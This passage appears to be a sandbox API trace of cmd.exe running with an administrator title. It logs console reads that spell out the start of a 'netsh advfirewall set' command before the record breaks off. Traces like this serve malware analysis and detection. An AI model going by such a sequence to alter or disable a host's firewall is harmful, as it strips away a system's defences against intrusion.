(in: Locale=0x409, LCType=0x37, lpLCData=0x7ff7ab03b980, cchData=32 | out: lpLCData="Sun") returned 4 [0091.263] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff7ab03bb58, cchData=8 | out: lpLCData=".") returned 2 [0091.263] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff7ab03bb40, cchData=8 | out: lpLCData=",") returned 2 [0091.263] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0091.266] GetProcessHeap () returned 0x1a383f80000 [0091.266] RtlAllocateHeap (HeapHandle=0x1a383f80000, Flags=0x0, Size=0x20c) returned 0x1a383f86560 [0091.266] GetConsoleTitleW (in: lpConsoleTitle=0x1a383f86560, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0092.034] _get_osfhandle (_FileHandle=1) returned 0x290 [0092.035] GetFileType (hFile=0x290) returned 0x3 [0092.038] ApiSetQueryApiSetPresence () returned 0x0 [0092.038] ResolveDelayLoadedAPI () returned 0x7ffcdeb7d990 [0092.863] BrandingFormatString () returned 0x1a383f86a50 [0092.870] GetVersion () returned 0x3ad7000a [0092.870] _vsnwprintf (in: _Buffer=0x598f5af730, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x598f5af6c8 | out: _Buffer="10.0.15063") returned 10 [0092.870] _get_osfhandle (_FileHandle=1) returned 0x290 [0092.870] GetFileType (hFile=0x290) returned 0x3 [0092.870] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff7ab047f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0092.871] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff7ab047f60, nSize=0x2000, Arguments=0x598f5af6d0 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26 [0092.871] _get_osfhandle (_FileHandle=1) returned 0x290 [0092.871] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39 [0092.871] WriteFile (in: hFile=0x290, lpBuffer=0x7ff7ab039970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x598f5af628, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesWritten=0x598f5af628*=0x26, lpOverlapped=0x0) returned 1 [0092.872] _vsnwprintf (in: _Buffer=0x7ff7ab047f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x598f5af6f8 | out: _Buffer="\r\n") returned 2 [0092.872] _get_osfhandle (_FileHandle=1) returned 0x290 [0092.872] GetFileType (hFile=0x290) returned 0x3 [0092.872] _get_osfhandle (_FileHandle=1) returned 0x290 [0092.872] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0092.872] WriteFile (in: hFile=0x290, lpBuffer=0x7ff7ab039970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x598f5af6c8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesWritten=0x598f5af6c8*=0x2, lpOverlapped=0x0) returned 1 [0092.872] _vsnwprintf (in: _Buffer=0x7ff7ab047f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0x598f5af6f8 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52 [0092.872] _get_osfhandle (_FileHandle=1) returned 0x290 [0092.872] GetFileType (hFile=0x290) returned 0x3 [0092.872] _get_osfhandle (_FileHandle=1) returned 0x290 [0092.872] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53 [0092.872] WriteFile (in: hFile=0x290, lpBuffer=0x7ff7ab039970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x598f5af6c8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesWritten=0x598f5af6c8*=0x34, lpOverlapped=0x0) returned 1 [0092.872] _vsnwprintf (in: _Buffer=0x7ff7ab047f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x598f5af6f8 | out: _Buffer="\r\n") returned 2 [0092.872] _get_osfhandle (_FileHandle=1) returned 0x290 [0092.872] GetFileType (hFile=0x290) returned 0x3 [0092.872] _get_osfhandle (_FileHandle=1) returned 0x290 [0092.872] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0092.872] WriteFile (in: hFile=0x290, lpBuffer=0x7ff7ab039970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x598f5af6c8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesWritten=0x598f5af6c8*=0x2, lpOverlapped=0x0) returned 1 [0092.873] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffce9120000 [0092.874] GetProcAddress (hModule=0x7ffce9120000, lpProcName="CopyFileExW") returned 0x7ffce913e830 [0092.874] GetProcAddress (hModule=0x7ffce9120000, lpProcName="IsDebuggerPresent") returned 0x7ffce913e300 [0092.874] GetProcAddress (hModule=0x7ffce9120000, lpProcName="SetConsoleInputExeNameW") returned 0x7ffce6900a40 [0092.874] ??_V@YAXPEAX@Z () returned 0x1 [0092.875] _get_osfhandle (_FileHandle=0) returned 0x284 [0092.875] GetFileType (hFile=0x284) returned 0x3 [0092.875] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0092.875] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x598f5af538 | out: TokenHandle=0x598f5af538*=0x0) returned 0xc000007c [0092.875] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x598f5af538 | out: TokenHandle=0x598f5af538*=0x98) returned 0x0 [0092.875] NtQueryInformationToken (in: TokenHandle=0x98, TokenInformationClass=0x12, TokenInformation=0x598f5af4e8, TokenInformationLength=0x4, ReturnLength=0x598f5af4f0 | out: TokenInformation=0x598f5af4e8, ReturnLength=0x598f5af4f0) returned 0x0 [0092.875] NtQueryInformationToken (in: TokenHandle=0x98, TokenInformationClass=0x1a, TokenInformation=0x598f5af4f0, TokenInformationLength=0x4, ReturnLength=0x598f5af4e8 | out: TokenInformation=0x598f5af4f0, ReturnLength=0x598f5af4e8) returned 0x0 [0092.875] NtClose (Handle=0x98) returned 0x0 [0092.875] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x598f5af500, nSize=0x0, Arguments=0x598f5af508 | out: lpBuffer="᧰菸ƣ") returned 0xf [0092.875] GetProcessHeap () returned 0x1a383f80000 [0092.875] RtlAllocateHeap (HeapHandle=0x1a383f80000, Flags=0x8, Size=0x218) returned 0x1a383f86c30 [0092.875] GetConsoleTitleW (in: lpConsoleTitle=0x598f5af550, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0093.410] wcsstr (_Str="C:\\WINDOWS\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0093.410] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0094.220] GetProcessHeap () returned 0x1a383f80000 [0094.220] RtlFreeHeap (HeapHandle=0x1a383f80000, Flags=0x0, BaseAddress=0x1a383f86c30) returned 1 [0094.220] LocalFree (hMem=0x1a383f819f0) returned 0x0 [0095.533] _vsnwprintf (in: _Buffer=0x7ff7ab047f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x598f5af378 | out: _Buffer="\r\n") returned 2 [0095.533] _get_osfhandle (_FileHandle=1) returned 0x290 [0095.533] GetFileType (hFile=0x290) returned 0x3 [0095.533] _get_osfhandle (_FileHandle=1) returned 0x290 [0095.533] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0095.533] WriteFile (in: hFile=0x290, lpBuffer=0x7ff7ab039970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x598f5af348, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesWritten=0x598f5af348*=0x2, lpOverlapped=0x0) returned 1 [0095.534] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7ab03bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0095.534] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1a384150080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0095.534] malloc (_Size=0x107ce) returned 0x1a384160060 [0095.534] _vsnwprintf (in: _Buffer=0x1a384160060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x598f5af388 | out: _Buffer="C:\\Users\\FD1HVy\\Desktop") returned 23 [0095.534] _vsnwprintf (in: _Buffer=0x1a38416008e, _BufferCount=0x83ce, _Format="%c", _ArgList=0x598f5af388 | out: _Buffer=">") returned 1 [0095.534] _get_osfhandle (_FileHandle=1) returned 0x290 [0095.535] GetFileType (hFile=0x290) returned 0x3 [0095.535] _get_osfhandle (_FileHandle=1) returned 0x290 [0095.535] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop>", lpUsedDefaultChar=0x0) returned 25 [0095.535] WriteFile (in: hFile=0x290, lpBuffer=0x7ff7ab039970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x598f5af378, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesWritten=0x598f5af378*=0x18, lpOverlapped=0x0) returned 1 [0095.535] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.535] GetFileType (hFile=0x284) returned 0x3 [0095.535] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.535] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.535] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.535] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c30, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0095.535] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.535] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.535] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.535] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c32, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0095.535] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.535] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.535] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.535] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c34, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0095.536] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.536] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.536] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.536] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c36, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0095.536] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.536] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.536] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.536] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c38, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0095.536] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.536] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.536] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.536] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c3a, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0095.536] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.536] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.536] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.536] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c3c, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0095.536] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.536] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.536] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.536] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c3e, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0095.536] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.536] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.537] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.537] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c40, cchWideChar=1 | out: lpWideCharStr="v") returned 1 [0095.537] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.537] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.537] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.537] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c42, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0095.537] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.537] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.537] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.537] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c44, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0095.537] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.537] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.537] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.537] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c46, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0095.537] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.537] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.537] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.537] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c48, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0095.537] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.537] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.537] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.537] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c4a, cchWideChar=1 | out: lpWideCharStr="w") returned 1 [0095.538] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.538] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.538] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.538] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c4c, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0095.538] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.538] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.538] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.538] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c4e, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0095.538] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.538] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.538] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.538] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c50, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0095.538] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.538] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.538] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.538] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c52, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0095.538] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.538] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.538] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.538] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c54, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0095.538] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.538] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.539] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.539] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c56, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0095.539] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.539] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.539] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.539] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c58, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0095.539] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.539] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.539] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.539] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c5a, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0095.539] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.539] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.539] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.539] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, 